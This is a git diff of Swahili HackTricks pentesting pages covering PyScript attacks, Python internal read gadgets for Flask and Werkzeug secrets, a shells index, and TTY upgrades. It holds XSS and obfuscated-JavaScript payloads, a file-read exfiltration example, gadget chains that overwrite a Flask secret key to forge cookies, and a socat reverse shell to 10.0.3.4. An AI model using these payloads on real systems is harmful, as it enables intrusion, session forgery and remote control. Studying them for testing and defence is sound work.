* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Mwongozo wa Kudukua PyScript
|
||||
## Mwongozo wa Kupenyeza kwa PyScript
|
||||
|
||||
PyScript ni mfumo mpya ulioendelezwa kwa ajili ya kuunganisha Python ndani ya HTML ili iweze kutumika pamoja na HTML. Katika karatasi hii ya kufanya udanganyifu, utapata jinsi ya kutumia PyScript kwa madhumuni ya kupima uingiliaji wako.
|
||||
PyScript ni mfumo mpya ulioendelezwa kwa kuingiza Python ndani ya HTML ili iweze kutumika pamoja na HTML. Katika karatasi hii ya udanganyifu, utapata jinsi ya kutumia PyScript kwa madhumuni yako ya kupenyeza.
|
||||
|
||||
### Kudondosha / Kupata faili kutoka kwenye mfumo wa faili wa kumbukumbu ya Emscripten:
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
Code:
|
||||
Msimbo:
|
||||
```html
|
||||
<py-script>
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
||||
|
|
@ -34,11 +35,11 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
### [OOB Data Exfiltration ya mfumo wa faili ya kumbukumbu ya virtual ya Emscripten (uangalizi wa konsoli)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
### [Udhalilishaji wa Data wa OOB wa mfumo wa faili wa kumbukumbu ya kielelezo cha Emscripten (uchunguzi wa konsoli)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
Code:
|
||||
Msimbo:
|
||||
```html
|
||||
<py-script>
|
||||
x = "CyberGuy"
|
||||
|
|
@ -53,9 +54,9 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
### Udukuzi wa Msalaba wa Tovuti (Kawaida)
|
||||
### Udukuzi wa Msituni wa Tovuti (Wa Kawaida)
|
||||
|
||||
Nambari:
|
||||
Msimbo:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
|
|
@ -65,9 +66,9 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
### Udukuzi wa Msalaba wa Tovuti (Python iliyofichwa)
|
||||
### Uvamizi wa Tovuti wa Msalaba (Python iliyofichwa)
|
||||
|
||||
Nambari:
|
||||
Msimbo:
|
||||
```python
|
||||
<py-script>
|
||||
sur = "\u0027al";fur = "e";rt = "rt"
|
||||
|
|
@ -83,9 +84,7 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
### Cross Site Scripting (Ufichaji wa JavaScript)
|
||||
|
||||
Nambari:
|
||||
### Uvamizi wa Kuvuka Tovuti (Ufichaji wa JavaScript)
|
||||
```html
|
||||
<py-script>
|
||||
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
||||
|
|
@ -95,9 +94,9 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
### Shambulio la DoS (Mzunguko wa milele)
|
||||
### Shambulizi la DoS (Mzunguko wa Milele)
|
||||
|
||||
Nambari:
|
||||
Msimbo:
|
||||
```html
|
||||
<py-script>
|
||||
while True:
|
||||
|
|
@ -108,16 +107,17 @@ Matokeo:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks Kwa Wataalamu wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks Kwa Wataalamu wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,35 +1,36 @@
|
|||
# Vifaa vya Kusoma vya Ndani ya Python
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Mambo tofauti ya udhaifu kama [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) au [**Uchafuzi wa Darasa**](class-pollution-pythons-prototype-pollution.md) inaweza kukuruhusu **kusoma data ya ndani ya python lakini hautakuruhusu kutekeleza nambari**. Kwa hivyo, mtaalamu wa kudukua atahitaji kutumia vibali hivi vya kusoma ili **kupata mamlaka nyeti na kuongeza udhaifu**.
|
||||
Mazingira tofauti ya udhaifu kama [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) au [**Uchafuzi wa Darasa**](class-pollution-pythons-prototype-pollution.md) yanaweza kukuruhusu **kusoma data ya ndani ya python lakini haitakuruhusu kutekeleza nambari**. Hivyo, mchunguzi wa mtandao atahitaji kutumia vibali hivi vya kusoma ili **kupata mamlaka nyeti na kukuza udhaifu**.
|
||||
|
||||
### Flask - Soma funguo za siri
|
||||
### Flask - Soma funguo ya siri
|
||||
|
||||
Ukurasa mkuu wa programu ya Flask labda utakuwa na kifaa cha kawaida cha **`app`** ambapo **siri hii imepangwa**.
|
||||
Ukurasa mkuu wa programu ya Flask labda utakuwa na **`app`** kifaa cha jumla ambapo hii **siri imewekwa**.
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
Katika kesi hii, niwezekana kupata kifaa chochote cha **kufikia vitu vya kimataifa** kutoka kwenye [**ukurasa wa Kuepuka sanduku za mchanga za Python**](bypass-python-sandboxes/).
|
||||
Katika kesi hii ni rahisi kupata ufikiaji wa kipengee hiki kwa kutumia kifaa chochote cha **kufikia vitu vya ulimwengu** kutoka kwenye [**Ukurasa wa Kupitisha Mchanga wa Python**](bypass-python-sandboxes/).
|
||||
|
||||
Katika kesi ambapo **hitilafu iko kwenye faili tofauti ya python**, unahitaji kifaa cha kusafiri kwenye faili ili kupata faili kuu ili **kufikia kifaa cha kimataifa `app.secret_key`** ili kubadilisha Flask secret key na kuweza [**kuongeza mamlaka** kwa kujua funguo hizi](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
Katika kesi ambapo **uwazi upo kwenye faili tofauti ya python**, unahitaji kifaa cha kupita faili ili ufikie faili kuu ili **kupata kipengee cha ulimwengu `app.secret_key`** kubadilisha funguo ya siri ya Flask na kuweza [**kupandisha vyeo** ukiwa na funguo hii](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Payload kama hii [kutoka kwenye andiko hili](https://ctftime.org/writeup/36082):
|
||||
Mzigo kama huu [kutoka kwenye andiko hili](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
|
|
@ -37,31 +38,32 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Tumia mzigo huu kubadilisha `app.secret_key` (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini kuki za flask zenye mamlaka zaidi.
|
||||
Tumia mzigo huu wa **kubadilisha `app.secret_key`** (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini vidakuzi vya flask vipya na vyenye mamlaka zaidi.
|
||||
|
||||
### Werkzeug - machine\_id na node uuid
|
||||
### Werkzeug - machine\_id na uuid ya node
|
||||
|
||||
[Kwa kutumia mzigo huu kutoka kwenye andiko hili](https://vozec.fr/writeups/tweedle-dum-dee/) utaweza kupata **machine\_id** na **uuid** node, ambazo ni **siri kuu** unazohitaji [**kuunda pini ya Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) unayoweza kutumia kufikia konsoli ya python kwenye `/console` ikiwa **debug mode imeamilishwa:**
|
||||
[Kutumia mzigo huu kutoka kwenye andiko hili](https://vozec.fr/writeups/tweedle-dum-dee/) utaweza kupata **machine\_id** na **uuid** ya node, ambayo ni **siri kuu** unayohitaji [**kuunda pin ya Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) unayoweza kutumia kufikia konsoli ya python katika `/console` ikiwa **hali ya kurekebisha makosa imewezeshwa:**
|
||||
```python
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kuwa unaweza kupata **njia ya seva ya ndani kwa `app.py`** kwa kuzalisha **kosa** fulani kwenye ukurasa wa wavuti ambao utakupa **njia hiyo**.
|
||||
Tafadhali kumbuka unaweza kupata **njia ya seva ya ndani kwa `app.py`** kwa kuzalisha **kosa** fulani kwenye ukurasa wa wavuti ambao utakupa **njia hiyo**.
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa udhaifu uko kwenye faili tofauti ya python, angalia mbinu ya Flask ya awali ya kupata vitu kutoka kwenye faili kuu ya python.
|
||||
Ikiwa udhaifu uko kwenye faili tofauti ya python, angalia hila ya awali ya Flask ya kupata vitu kutoka kwa faili kuu ya python.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifunze AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifunze GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,27 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# [**Makompyuta - Linux**](linux.md)
|
||||
# [**Makombora - Linux**](linux.md)
|
||||
|
||||
# [**Makompyuta - Windows**](windows.md)
|
||||
# [**Makombora - Windows**](windows.md)
|
||||
|
||||
# [**MSFVenom - CheatSheet**](msfvenom.md)
|
||||
# [**MSFVenom - Karatasi ya Kudanganya**](msfvenom.md)
|
||||
|
||||
# [**TTY kamili**](full-ttys.md)
|
||||
# [**TTYs Kamili**](full-ttys.md)
|
||||
|
||||
# **Makompyuta yaliyojengwa kiotomatiki**
|
||||
# **Makombora yaliyojengwa kiotomatiki**
|
||||
|
||||
* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
|
||||
* [**https://www.revshells.com/**](https://www.revshells.com/)
|
||||
|
|
@ -36,16 +37,17 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,22 +1,23 @@
|
|||
# TTY Kamili
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) **na** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repos za github.**
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## TTY Kamili
|
||||
|
||||
Tafadhali kumbuka kuwa kabati uliyoweka kwenye kivinjari cha `SHELL` **lazima** iwe **imeorodheshwa ndani** ya _**/etc/shells**_ au `Thamani ya kivinjari cha SHELL haikupatikana kwenye faili ya /etc/shells Tukio hili limeandikishwa`. Pia, tafadhali kumbuka kuwa vipande vifuatavyo vinatumika tu kwenye bash. Ikiwa uko kwenye zsh, badilisha kwenye bash kabla ya kupata kabati kwa kukimbia `bash`.
|
||||
Tafadhali kumbuka kwamba kaboti ulioweka katika `SHELL` lazima uwe umetajwa ndani ya _**/etc/shells**_ au `Thamani ya kaboti ya SHELL haikupatikana katika faili ya /etc/shells Tukio hili limepelekwa`. Pia, kumbuka kwamba vipande vya msimbo vifuatavyo vinaweza kufanya kazi tu katika bash. Ikiwa uko katika zsh, badilisha kwa bash kabla ya kupata kaboti kwa kufanya `bash`.
|
||||
|
||||
#### Python
|
||||
|
||||
|
|
@ -29,7 +30,7 @@ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Unaweza kupata **idadi** ya **safu** na **staha** kwa kutekeleza **`stty -a`**
|
||||
Unaweza kupata **idadi** ya **safu** na **vibambo** kwa kutekeleza **`stty -a`**
|
||||
{% endhint %}
|
||||
|
||||
#### script
|
||||
|
|
@ -49,7 +50,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444
|
|||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
```
|
||||
### **Kuzalisha maboya**
|
||||
### **Kuzaliana vikochi**
|
||||
|
||||
* `python -c 'import pty; pty.spawn("/bin/sh")'`
|
||||
* `echo os.system('/bin/bash')`
|
||||
|
|
@ -64,15 +65,13 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
|||
* vi: `:set shell=/bin/bash:shell`
|
||||
* nmap: `!sh`
|
||||
|
||||
## ReverseSSH
|
||||
## **ReverseSSH**
|
||||
|
||||
Njia rahisi ya kupata **upatikanaji wa maboya ya kuingiliana**, pamoja na **uhamishaji wa faili** na **mbelezo wa bandari**, ni kuweka seva ya ssh iliyolinkishwa kwa njia ya kurudisha [ReverseSSH](https://github.com/Fahrj/reverse-ssh) kwenye lengo.
|
||||
